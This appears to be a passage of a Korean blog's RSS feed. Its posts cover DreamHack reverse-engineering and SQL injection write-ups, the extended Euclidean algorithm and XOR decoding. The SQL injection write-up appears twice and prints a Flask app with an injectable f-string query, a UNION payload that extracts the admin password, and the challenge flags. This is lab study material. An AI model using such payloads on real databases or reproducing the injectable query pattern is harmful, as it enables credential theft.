</code></pre><p><br><br><br>이상으로 글을 마치도록 하겠습니다 감사합니다.<br><br><br><br><br><br></p>
<p>
<img src="https://media1.tenor.com/m/M3w0i0xCM5cAAAAC/simyoung-%EC%8B%AC%EC%98%81.gif" width=50%>
<img src="https://media.tenor.com/dhVARfXHBcIAAAAM/%EC%95%BC%EC%9D%B8%EC%8B%9C%EB%8C%80%ED%8F%AD%ED%8C%94-%EC%95%BC%EC%9D%B8%EC%8B%9C%EB%8C%80.gif" width=50%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] rev-basic-0~3 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-rev-basic-03-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-rev-basic-03-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Thu, 13 Aug 2026 01:28:49 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 rev-basic-0~3을 풀어보겠습니다</p>
<p>참고로 사용한 툴은 Radare2 입니다
뭐, IDA나 Radare2나 거기서 거기인 정적 분석 도구죠 뭐.</p>
<h1 id="rev-basic-0️⃣">rev-basic-0️⃣</h1>
<p><a href="https://dreamhack.io/wargame/challenges/14">https://dreamhack.io/wargame/challenges/14</a></p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/53365ba6-b6ef-41df-b796-1782594e7895/image.png">
</p>

<p>대략적인 흐름은 최대 %256s 자의 입력을 받아 var_20h스택에 저장하고
Call section..text 로 넘겨 결과를 eax로 받습니다
그리고 eax가 1이라면 0x140001157로 넘겨 Correct 출력을, 0이라면 0x140001166으로 넘겨 Wrong 출력을 하는 단순한 구조입니다</p>
<p>이제 section..text 함수를 살펴봅시다</p>
<p align='center'>
  <img src="https://velog.velcdn.com/images/coding_pineapple/post/46cb5dcb-70e6-4e9b-9ad8-502a9fbbf2f4/image.png" width=90%></p>

<p>  음, 대충 rdx에 Compar3_the_str1ng라는 주소를 할당하고 call로 strcmp를 불러 비교하여 똑같다면 0x14000101e로 가 eax에 1을, 아니라면 0x140001028로 가 eax에 0을 할당합니다<br><br>
  그렇다면 총합적으로 문자열 비교를 통해 Compar3_the_str1ng와 같은지 확인하고 같다면 Correct를, 아니라면 Wrong을 출력하는 구조로 볼 수 있겠습니다</p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/07b98867-13f2-463e-9557-83d19d18b6c2/image.png"></p>

<p>flag : DH{Compar3_the_str1ng}</p>
<h1 id="rev-basic-1️⃣">rev-basic-1️⃣</h1>
<p><a href="https://dreamhack.io/wargame/challenges/15">https://dreamhack.io/wargame/challenges/15</a></p>
<p>main함수는 rev-basic-0과 비슷한 구조라서 생략하겠습니다</p>
<p align='center'>
  <img src='https://velog.velcdn.com/images/coding_pineapple/post/b249f1ed-b4e6-4a47-b3c0-4bb1e470f8db/image.png'></p>
위 함수는 배열의 자릿수마다 글자가 동일한지 여부를 판별하는 구조인 것 같습니다

<p>맨 위의 함수 블럭의 경우 67 (C)와 동일한지 판별함을 알 수 있고 참이라면 오른쪽 함수로, 거짓이면 왼족 함수로 xor을 통해 0을 반환하여 메인으로 보내는 함수임을 추측할 수 있습니다</p>
<p>이를 계속 반복하는 구조입니다</p>
<p>대략적인 코드를 짜보면 다음과 같습니다</p>
<pre><code>str = [67,111,109,112,97,114,51,95,116,104,101,95,99,104,52,114,97,99,116,51,114]
for i in str: print(chr(i),end=&#39;&#39;)</code></pre><p><img src="https://velog.velcdn.com/images/coding_pineapple/post/5f9379a7-1a8c-4ffc-9b18-41c60d014a45/image.png" alt=""></p>
<p>flag : DH{Compar3_the_ch4ract3r}</p>
<h1 id="rev-basic-2️⃣">rev-basic-2️⃣</h1>
<p><a href="https://dreamhack.io/wargame/challenges/16">https://dreamhack.io/wargame/challenges/16</a></p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/95bed9b3-642d-41cd-a996-513b604e6cb3/image.png">
</p>
한 화면에 다 담느라 좀 엉켜놓긴 했는데 아무렴 어떠랴

<p>Comp4re_the_arr4y 배열을 이용해 입력 버퍼의 바이트마다 dword[i]로 1바이트씩 비교하는 rev-basic-0과 비슷한 구조의 함수입니다</p>
<p>하나라도 다르면 즉시 eax에 0을 반환하고 18개가 전부 일치하면  eax에 1을 반환해 Correct를 출력합니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/2c4d6bc6-69e9-412d-a6f1-78ec477bf5c5/image.png" alt=""></p>
<h1 id="rev-basic-3️⃣">rev-basic-3️⃣</h1>
<p align='center'>
  <img src="https://velog.velcdn.com/images/coding_pineapple/post/23c05d77-3186-414e-9c01-88df32a7560b/image.png
"></p>

<p>내일 작성할랍니다 lol.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] 22 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-22-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-22-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Wed, 12 Aug 2026 05:31:21 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.</p>
<h1 id="22-2️⃣2️⃣">22 2️⃣2️⃣</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2680">https://dreamhack.io/wargame/challenges/2680</a></p>
<p>정말 오랜만인 SQL INJECTION 입니다</p>
<p align='center'>
<img src="https://mblogthumb-phinf.pstatic.net/20150321_153/digicco_14269485248691RGYS_JPEG/kongganzi.jpg?type=w420"></p>

<p>app.py</p>
<pre><code>import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector

app = Flask(__name__)
app.secret_key = os.getenv(&quot;FLASK_SECRET&quot;, &quot;**REDACTED**&quot;)

COMMENT_RE = re.compile(r&quot;(--|#|/\*|\*/)&quot;, re.IGNORECASE)

def reject_sql_comments(s: str) -&gt; bool:
    return bool(COMMENT_RE.search(s or &quot;&quot;))

def get_conn():
    return mysql.connector.connect(
        host=os.getenv(&quot;DB_HOST&quot;, &quot;127.0.0.1&quot;),
        port=int(os.getenv(&quot;DB_PORT&quot;, &quot;3306&quot;)),
        user=os.getenv(&quot;DB_USER&quot;, &quot;user&quot;),
        password=os.getenv(&quot;DB_PASS&quot;, &quot;pass&quot;),
        database=os.getenv(&quot;DB_NAME&quot;, &quot;db&quot;),
        autocommit=True,
    )

@app.get(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;, user=session.get(&quot;user&quot;))

@app.route(&quot;/login&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def login():
    if request.method == &quot;GET&quot;:
        if session.get(&quot;user&quot;):
            return redirect(url_for(&quot;index&quot;))
        return render_template(&quot;login.html&quot;, error=None)

    username = request.form.get(&quot;username&quot;, &quot;&quot;)
    password = request.form.get(&quot;password&quot;, &quot;&quot;)

    sql = &quot;SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;&quot;
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    cur.execute(sql, (username, password))
    row = cur.fetchone()
    cur.close()
    conn.close()

    if row:
        session[&quot;user&quot;] = row[&quot;username&quot;]
        return redirect(url_for(&quot;index&quot;))

    return render_template(&quot;login.html&quot;, error=&quot;Invalid username/password&quot;), 401


@app.get(&quot;/logout&quot;)
def logout():
    session.clear()
    return redirect(url_for(&quot;index&quot;))

@app.get(&quot;/search&quot;)
def search():
    q = request.args.get(&quot;q&quot;, &quot;&quot;)

    if q == &quot;&quot;:
        return render_template(&quot;search.html&quot;, q=q, q2=None, rows=[], error=None)

    q2 = q + q

    if reject_sql_comments(q):
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;Comment tokens are not allowed.&quot;), 200

    sql = f&quot;SELECT id, username FROM users WHERE username=&#39;{q2}&#39; ORDER BY id ASC;&quot;

    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;DB error occurred.&quot;), 200
    finally:
        cur.close()
        conn.close()

if __name__ == &quot;__main__&quot;:
    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=False)
</code></pre><p>init</p>
<pre><code>CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;

DROP TABLE IF EXISTS users;

CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(64) NOT NULL UNIQUE,
  password VARCHAR(255) NOT NULL
);

#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들. 
INSERT INTO users (username, password) VALUES
(&#39;alicealice&#39;, &#39;alicepw&#39;),
(&#39;bobbob&#39;, &#39;bobpw&#39;),
(&#39;guestguest&#39;, &#39;guestpw&#39;),
(&#39;adminadmin&#39;, &#39;DH{FAKE_FLAG}&#39;);</code></pre><p>핵심 코드 두 개가 주어집니다</p>
<p>뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다</p>
<p>일반 회원은 <code>(alicealice, alipw)</code>, <code>(bobbob,bobpw)</code>, <code>(guestguest, guestpw)</code> 가 있는 것 또한 알 수 있습니다</p>
<p align='center'>
<img src='https://velog.velcdn.com/images/coding_pineapple/post/623d8781-6e8d-4ff5-af55-8e0cfdf91f29/image.png'>
</p>
뭐, 직접 일반 계정으로 로그인했는데 죄다 평범했습니다 (...)

<p>아무튼, 코드를 분석해서 취약점을 찾아봅시다</p>
<pre><code>@app.get(&quot;/search&quot;)
def search():
    q = request.args.get(&quot;q&quot;, &quot;&quot;)

    if q == &quot;&quot;:
        return render_template(&quot;search.html&quot;, q=q, q2=None, rows=[], error=None)

    q2 = q + q
#    ㄴ코드 콩진호의 원인
    if reject_sql_comments(q):
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;Comment tokens are not allowed.&quot;), 200

    sql = f&quot;SELECT id, username FROM users WHERE username=&#39;{q2}&#39; ORDER BY id ASC;&quot;
#                                                           ㄴ여기서 ㄱㄱ
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;DB error occurred.&quot;), 200
    finally:
        cur.close()
        conn.close()</code></pre><p>위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다</p>
<p>헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다</p>
<p>그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다</p>
<pre><code>asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;</code></pre><p>이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다</p>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/0a1af0fe-5862-408f-bcd6-19bee604dfa4/image.png">

<br>
아마 실질적으로 실행되는 구문은 다음과 같을 겁니다
<br>

<pre><code>SELECT id, username FROM users WHERE username=&#39;   asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;    &#39; ORDER BY id ASC; # 기묘하다</code></pre><p><br><br></p>
<p>flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}</p>
<p>평가 : sql injection 풀이하기 &#39;재밌는&#39; 문제</p>
<p><br><br><br><br><br></p>
<p align='center'>
<img src="https://media1.tenor.com/m/u1hpnARGJmkAAAAd/20220222-%ED%99%8D%EC%A7%84%ED%98%B8.gif"></p>

<p>안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.</p>
<h1 id="22-2️⃣2️⃣-1">22 2️⃣2️⃣</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2680">https://dreamhack.io/wargame/challenges/2680</a></p>
<p>정말 오랜만인 SQL INJECTION 입니다</p>
<p align='center'>
<img src="https://mblogthumb-phinf.pstatic.net/20150321_153/digicco_14269485248691RGYS_JPEG/kongganzi.jpg?type=w420"></p>

<p>app.py</p>
<pre><code>import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector

app = Flask(__name__)
app.secret_key = os.getenv(&quot;FLASK_SECRET&quot;, &quot;**REDACTED**&quot;)

COMMENT_RE = re.compile(r&quot;(--|#|/\*|\*/)&quot;, re.IGNORECASE)

def reject_sql_comments(s: str) -&gt; bool:
    return bool(COMMENT_RE.search(s or &quot;&quot;))

def get_conn():
    return mysql.connector.connect(
        host=os.getenv(&quot;DB_HOST&quot;, &quot;127.0.0.1&quot;),
        port=int(os.getenv(&quot;DB_PORT&quot;, &quot;3306&quot;)),
        user=os.getenv(&quot;DB_USER&quot;, &quot;user&quot;),
        password=os.getenv(&quot;DB_PASS&quot;, &quot;pass&quot;),
        database=os.getenv(&quot;DB_NAME&quot;, &quot;db&quot;),
        autocommit=True,
    )

@app.get(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;, user=session.get(&quot;user&quot;))

@app.route(&quot;/login&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def login():
    if request.method == &quot;GET&quot;:
        if session.get(&quot;user&quot;):
            return redirect(url_for(&quot;index&quot;))
        return render_template(&quot;login.html&quot;, error=None)

    username = request.form.get(&quot;username&quot;, &quot;&quot;)
    password = request.form.get(&quot;password&quot;, &quot;&quot;)

    sql = &quot;SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;&quot;
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    cur.execute(sql, (username, password))
    row = cur.fetchone()
    cur.close()
    conn.close()

    if row:
        session[&quot;user&quot;] = row[&quot;username&quot;]
        return redirect(url_for(&quot;index&quot;))

    return render_template(&quot;login.html&quot;, error=&quot;Invalid username/password&quot;), 401


@app.get(&quot;/logout&quot;)
def logout():
    session.clear()
    return redirect(url_for(&quot;index&quot;))

@app.get(&quot;/search&quot;)
def search():
    q = request.args.get(&quot;q&quot;, &quot;&quot;)

    if q == &quot;&quot;:
        return render_template(&quot;search.html&quot;, q=q, q2=None, rows=[], error=None)

    q2 = q + q

    if reject_sql_comments(q):
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;Comment tokens are not allowed.&quot;), 200

    sql = f&quot;SELECT id, username FROM users WHERE username=&#39;{q2}&#39; ORDER BY id ASC;&quot;

    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;DB error occurred.&quot;), 200
    finally:
        cur.close()
        conn.close()

if __name__ == &quot;__main__&quot;:
    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=False)
</code></pre><p>init</p>
<pre><code>CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;

DROP TABLE IF EXISTS users;

CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(64) NOT NULL UNIQUE,
  password VARCHAR(255) NOT NULL
);

#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들. 
INSERT INTO users (username, password) VALUES
(&#39;alicealice&#39;, &#39;alicepw&#39;),
(&#39;bobbob&#39;, &#39;bobpw&#39;),
(&#39;guestguest&#39;, &#39;guestpw&#39;),
(&#39;adminadmin&#39;, &#39;DH{FAKE_FLAG}&#39;);</code></pre><p>핵심 코드 두 개가 주어집니다</p>
<p>뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다</p>
<p>일반 회원은 <code>(alicealice, alipw)</code>, <code>(bobbob,bobpw)</code>, <code>(guestguest, guestpw)</code> 가 있는 것 또한 알 수 있습니다</p>
<p align='center'>
<img src='https://velog.velcdn.com/images/coding_pineapple/post/623d8781-6e8d-4ff5-af55-8e0cfdf91f29/image.png'>
</p>
뭐, 직접 일반 계정으로 로그인했는데 죄다 평범했습니다 (...)

<p>아무튼, 코드를 분석해서 취약점을 찾아봅시다</p>
<pre><code>@app.get(&quot;/search&quot;)
def search():
    q = request.args.get(&quot;q&quot;, &quot;&quot;)

    if q == &quot;&quot;:
        return render_template(&quot;search.html&quot;, q=q, q2=None, rows=[], error=None)

    q2 = q + q
#    ㄴ코드 콩진호의 원인
    if reject_sql_comments(q):
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;Comment tokens are not allowed.&quot;), 200

    sql = f&quot;SELECT id, username FROM users WHERE username=&#39;{q2}&#39; ORDER BY id ASC;&quot;
#                                                           ㄴ여기서 ㄱㄱ
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template(&quot;search.html&quot;, q=q, q2=q2, rows=[], error=&quot;DB error occurred.&quot;), 200
    finally:
        cur.close()
        conn.close()</code></pre><p>위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다</p>
<p>헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다</p>
<p>그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다</p>
<pre><code>asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;</code></pre><p>이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다</p>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/0a1af0fe-5862-408f-bcd6-19bee604dfa4/image.png">

<br>
아마 실질적으로 실행되는 구문은 다음과 같을 겁니다
<br>

<pre><code>SELECT id, username FROM users WHERE username=&#39;   asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;asdf&#39; union select username,password from users where username=&#39;adminadmin&#39; union select 1,&#39;    &#39; ORDER BY id ASC; # 기묘하다</code></pre><p><br><br></p>
<p>flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}</p>
<p>평가 : sql injection 풀이하기 &#39;재밌는&#39; 문제</p>
<p><br><br><br><br><br></p>
<p align='center'>
<img src="https://media1.tenor.com/m/u1hpnARGJmkAAAAd/20220222-%ED%99%8D%EC%A7%84%ED%98%B8.gif"></p>]]></description>
        </item>
        <item>
            <title><![CDATA[확장 유클리드와 모듈러 연산 ]]></title>
            <link>https://velog.io/@coding_pineapple/%ED%99%95%EC%9E%A5-%EC%9C%A0%ED%81%B4%EB%A6%AC%EB%93%9C%EC%99%80-%EB%AA%A8%EB%93%88%EB%9F%AC-%EC%97%B0%EC%82%B0</link>
            <guid>https://velog.io/@coding_pineapple/%ED%99%95%EC%9E%A5-%EC%9C%A0%ED%81%B4%EB%A6%AC%EB%93%9C%EC%99%80-%EB%AA%A8%EB%93%88%EB%9F%AC-%EC%97%B0%EC%82%B0</guid>
            <pubDate>Wed, 12 Aug 2026 02:44:28 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다</p>
<p align='center'>
  <img src="https://media1.tenor.com/m/QRtK5l-ihwkAAAAC/vtuber-vtuber-hello.gif" width=50%></p>
이번 시간에는 확장 유클리드와 모듈러 연산에 관해 알아보겠습니다.

<h1 id="유클리드-알고리즘">유클리드 알고리즘</h1>
<p align='center'><img src="https://media1.tenor.com/m/jDjBzFi9pL8AAAAd/thinking-vtuber.gif" width=50%></p>

<p>유클리드 호제법...두 양의 정수 혹은 두 다항식의 <strong>최대공약수</strong>를 구하는 알고리즘입니다</p>
<p>암호학에서의 유클리드 호제법은 RSA 암호같은 공개키 암호 시스템에서 키와 복호화할 때 필요한 역원을 계산하는 <strong>확장 유클리드 알고리즘</strong>의 바탕이 됩니다</p>
<p>최대공약수 (<strong>GCD</strong>) 는 두 양의 정수를 나누는 가장 큰 수 입니다
만일 gcd(a,b) = 1 일 경우 a와 b는 <strong>서로소</strong>이라 일컫습니다</p>
<p>참고로 a,b가 <strong>서로 다른 두 소수</strong>일 경우, <strong>항상 서로소가 성립</strong>됩니다</p>
<p>이를 파이썬 코드로 구현하면 다음과 같습니다</p>
<pre><code>def gcd(a,b):
    while b: 
        a, b = b, a % b
    return a

a, b = map(int,input().split())
print(gcd(a,b))</code></pre><p align='center'>
  <img src="https://media1.tenor.com/m/XnCIaJbuGxAAAAAd/saba-sameko.gif" width=50%></p>


<h2 id="확장-유클리드-알고리즘">확장 유클리드 알고리즘</h2>
<p>얘는 그냥 유클리드 알고리즘에서 조금 더 복잡해진 친구입니다</p>
<p>그냥 유클리드 알고리즘일 경우 큰 수를 작은 수로 나누고, 나머지로 계속 나누기를 반복합니다</p>
<pre><code>67 // 59 = 1... 8
59 // 8  = 7... 3
8  // 3  = 2... 2
3  // 2  = 1... 1
2  // 1  = 2... 0 </code></pre><p>여기까지 나머지가 0이 되기 직전의 나머지가 (1) 이 gcd입니다.</p>
<p>하지만 다음과 같은 식에서 1이 되려면 어떻게 해야할까요 <code>59 × u + 67 × v = 1</code></p>
<p>그러기에 확장 유클리드 알고리즘의 경우 위 연산을 <strong>역순</strong>으로 계산합니다</p>
<p>나눗셈 식을 <code>나머지 = 큰 수 - 몫 * 작은 수</code> 형태로 다시 써올라가 아래부터 위로 대입합니다</p>
<p>이를 반복하면 다음과 같이 됩니다</p>
<pre><code>3  // 2  = 1... 1 =&gt; 1 = 3 - 1 * 2
8  // 3  = 2... 2 =&gt; 2 = 8 - 2 * 3
59 // 8  = 7... 3 =&gt; 3 = 59 - 7 * 8
67 // 59 = 1... 8 =&gt; 8 = 67 - 1 * 59</code></pre><p>이어서 나머지 = 위의 식에 하나씩 대입합니다 (나머지 값인 <strong>2,3,8 순서</strong>로 대입)</p>
<pre><code>1 = 3 − 1 * (8 − 2 * 3) = 3 * 3 − 1 × 8
1 = 3 * (59 - 7 * 8) - 1 * 8 = 3 * 59 - 22 * 8
1 = 3 * 59 - 22 * (67 - 1 * 59) = 25 * 59 - 22 * 67

= 59 × u + 67 × v = 1 일 때, 59 * 25 + 67 * (−22) = 1 이므로
= u = 25, v = -22</code></pre><p>이를 파이썬 코드로 나타내면 다음과 같습니다</p>
<pre><code>def extended_gcd(a, b):
    old_r, r = a, b
    old_u, u = 1, 0
    old_v, v = 0, 1
    while r != 0:
        q = old_r // r
        old_r, r = r, old_r - q*r
        old_u, u = u, old_u - q*u
        old_v, v = v, old_v - q*v
    return old_r, old_u, old_v

a, b = map(int,input().split())
g, u, v = extended_gcd(a, b)
print(g, u, v)</code></pre><p>(사실 저도 좀 이해가 안됩니다) <del>(유클리드 해병)</del></p>
<p align='center'>
  <img src="https://media.tenor.com/RfIs2IuKdXEAAAA1/shylily-vtuber.webp" width=50%>
  </p>



<hr>
<h1 id="모듈러-연산">모듈러 연산</h1>
<p>모듈러 연산은 그냥 새로운 연산자 하나 배운다는 셈 치면 쉽습니다</p>
<p>단순 어떤 숫자를 다른 숫자로 나눈 <strong>나머지를 구하는 연산</strong>이기 때문입니다</p>
<p>주로 mod를 써서 나타내며 컴퓨터에서는 &#39;%&#39; 를 통해 나타냅니다</p>
<pre><code>print( 12 % 5 ) # 2
print( 43 % 3 ) # 1
print( 27 % 8 ) # 3</code></pre><p>하지만 만일 <code>mod p</code> 일 경우 <strong>p가 소수</strong>라면 어떻게 될까요</p>
<h2 id="페르마의-소정리">페르마의 소정리</h2>
<p>거듭제곱을 나머지 연산이랑 같이 쓸 때 생기는 재밌는 규칙입니다</p>
<blockquote>
<p>p가 <strong>소수</strong>이고, a가 p의 <strong>배수가 아니라면</strong> -&gt; <strong>a^p-1 ≡ 1 (mod p)</strong></p>
</blockquote>
<p>항상 이 식이 성립됩니다</p>
<p>이를 조금 응용하면 다음과 같은 재밌는 식이 나오기도 합니다</p>
<pre><code>3^17 % 17
= 3^16 ≡ 1 * 3 ≡ 3 (페르마의 소정리에 의하여)
</code></pre><p>과 같이 응용이 가능합니다</p>
<p>p가 소수일 때, 집합 {1, 2, 3, ..., p-1}의 모든 원소에 어떤 수 a(단, a는 p의 배수 아님)를 곱하고 mod p를 취하면, 그 결과들은 순서만 원래 집합 {1, 2, ..., p-1}과 완전히 <strong>똑같은 원소</strong>들이 나오기 때문에 페르마의 소정리가 성립되게 됩니다.
<br><br><br>
이상으로 글을 마치겠습니다 감사합니다
<br><br><br><br><br></p>
<p align='center'><img src="https://media1.tenor.com/m/8YawPsY5vSUAAAAd/kobo-kanaeru-kobo.gif"></p>

<p>+추신 : <del>여러분이 좋아하시는</del> 버튜버 짤로 도배해봤는데 뭐...평소에 아는 짤만 싸지르다가 버튜버를 거의 몰라갖고 그냥 좀 엉망진창이 된 느낌이라 썩 유쾌하진 않습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[XOR = (배타적 논리합) 암호학]]></title>
            <link>https://velog.io/@coding_pineapple/XOR-%EB%B0%B0%ED%83%80%EC%A0%81-%EB%85%BC%EB%A6%AC%ED%95%A9-%EC%95%94%ED%98%B8%ED%95%99</link>
            <guid>https://velog.io/@coding_pineapple/XOR-%EB%B0%B0%ED%83%80%EC%A0%81-%EB%85%BC%EB%A6%AC%ED%95%A9-%EC%95%94%ED%98%B8%ED%95%99</guid>
            <pubDate>Tue, 11 Aug 2026 06:49:30 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 XOR 베타적 논리합에 관해 알아보겠습니다.</p>
<h1 id="❌⭕r-이란">❌⭕R 이란?</h1>
<p>사실 코딩 파인애플은 이 XOR 베타적 논리합 암호학에 관해 꽤 안좋은 기억이 있습니다...</p>
<p>때는 바야흐로 병오년(丙午年) 임진(壬辰)월...예, 그냥 2026년 4월.</p>
<p>그때쯤 사이버보안 경진대회 CTF 비스므리한 거에 참가했는데
CTF 암호학 문제 중 XOR 관련한 문제, 그 &quot;한 문제&quot;를 못 풀어서 정ㅗㅗㅗ말 아쉽게도❗❗❗4+♿️+등,❗+♿️+장❗+♿️+려❗+♿️+❗상+♿️+을❗❗❗ 입상한 빌어먹을 추억이 있었습니다
(3등과 XOR 겨우 한 문제 차이였습니다 사실 저의 무지가 한 몫 했죠.)</p>
<p align='center'>
<img src="https://media1.tenor.com/m/MwLJflDLFcAAAAAd/akira-leave-me-alone.gif" width=50%></p>

<hr>
<p>아무톤톤간에, 다시 본론으로 넘어가자면 </p>
<p><strong>XOR</strong>(Exclusive OR)은 <strong>배타적 논리합</strong> 약자입니다 </p>
<p>두 개의 입력값이 <strong>서로 다를 때만</strong> 1을 출력하고, <strong>서로 같으면</strong> 0을 출력하는 논리 연산입니다</p>
<pre><code># 프로그래밍에서는 비트 연산자 (^)가 주로 사용됩니다
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0</code></pre><p>또한 XOR는 다음과 같은 대칭성을 가집니다</p>
<pre><code>평문(A) ⊕ 키(K) = 암호문(B)

암호문(B) ⊕ 키(K) = 평문(A)</code></pre><p>즉, 데이터를 암호화할 때 사용한 키를 그대로 사용해 한 번 더 XOR 연산을 하면 <strong>원래의 데이터가 완벽하게 복호화됩니다.</strong></p>
<h2 id="코드-ㄱㄱ">코드 ㄱㄱ</h2>
<p>XOR의 <strong>대수적 성질</strong> 이용해 암호문을 구상하면</p>
<pre><code>KEY1 = a373807b0cceafa26a2631bd25
KEY2 ^ KEY1 = 485d7d25d563edbb8735d213bb
KEY2 ^ KEY3 = 9856e2e7f6c0716e20b737b209
FLAG ^ KEY1 ^ KEY3 ^ KEY2 = 73400ef09522fe9b25e36a6b0d</code></pre><p>을 복호화하는 코드를 짜보면</p>
<pre><code>key1 = bytes.fromhex(&quot;a373807b0cceafa26a2631bd25&quot;)
key12 = bytes.fromhex(&quot;485d7d25d563edbb8735d213bb&quot;)
key23 = bytes.fromhex(&quot;9856e2e7f6c0716e20b737b209&quot;)
key123 = bytes.fromhex(&quot;73400ef09522fe9b25e36a6b0d&quot;)

# bytes.fromhex() : 16진수 문자열을 입력받아 바이트 객체로 변환해 주는 메서드

key2 = &quot;&quot;
for i, j in zip(key1, key12):
    key2 += chr(i ^ j)

key3 = &quot;&quot;
for i, j in zip(key2, key23):
    key3 += chr(ord(i) ^ j)

flag = &quot;&quot;
for i, j, l, k in zip(key1, key2, key3, key123):
    flag += chr(i ^ ord(j) ^ ord(l) ^ k)

print(flag)</code></pre><p align='center'>
<img src="https://media1.tenor.com/m/LR2wFJK3h20AAAAC/helloworld.gif" width=60%></p>

<hr>
<p>또한 기타 암호문을 <code>05080407411f0741134205000b0f194203131015170c051710</code>, 키는 <code>bar</code>이라 가정할 때 평문을 알기 위해</p>
<pre><code>output = bytes.fromhex(&quot;05080407411f0741134205000b0f194203131015170c051710&quot;)

key = b&quot;bar&quot;
# b&quot;&quot; : 파이트 타입임을 의미
flag = &quot;&quot;
idx = 0
# 각 문자마다 &quot;bar&quot;를 순회하여 XOR 연산.
for i in output:
    flag += chr(i ^ key[idx % len(key)])

    idx += 1
print(flag)</code></pre><p>다음과 같은 코드를 거쳐 평문을 얻을 수 있습니다</p>
